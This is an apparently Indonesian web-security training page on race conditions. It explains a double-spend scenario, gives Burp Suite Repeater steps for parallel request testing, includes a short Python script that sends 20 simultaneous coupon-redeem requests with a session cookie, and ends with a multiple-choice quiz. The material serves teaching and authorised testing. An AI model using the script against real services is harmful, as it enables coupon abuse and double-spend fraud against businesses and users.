Kembali ke Roadmap
// PHASE 4 · Race Conditions

Race Conditions

Apa Itu Race Condition?

Race condition terjadi ketika dua atau lebih request diproses secara bersamaan dan menghasilkan state yang tidak konsisten — karena server tidak mengantisipasi konkurensi.

Contoh Klasik: Double-Spend

# Skenario: transfer saldo # Saldo awal: Rp 100.000 # Request 1 & 2 dikirim bersamaan: POST /transfer { amount: 100000, to: "A" } POST /transfer { amount: 100000, to: "B" } # Jika check saldo tidak di-lock: Thread 1: cek saldo → 100000 (ok) → kurangi → 0 Thread 2: cek saldo → 100000 (ok) → kurangi → -100000 # Hasil: transfer 200000 dengan saldo 100000!

Testing Race Condition

Dengan Burp Suite Repeater

# 1. Capture request di Burp # 2. Kirim ke Repeater (Ctrl+R), duplikat 10-20x # 3. Pilih semua tab → Send group (parallel) # 4. Analisis response — apakah ada inkonsistensi?

Dengan Python

import threading, requests def send_request(): requests.post("https://target.com/redeem", data={"code": "DISCOUNT50"}, cookies={"session": "abc123"}) threads = [threading.Thread(target=send_request) for _ in range(20)] [t.start() for t in threads] [t.join() for t in threads]

Target Race Condition

// CEK PEMAHAMAN
Race condition pada fitur redeem coupon paling sering menghasilkan dampak apa?
AXSS pada halaman coupon
BCoupon sekali pakai bisa digunakan berkali-kali secara bersamaan
CSQL injection melalui kode coupon
DServer crash akibat overload
File Upload Vulnerabilities Deserialization Attacks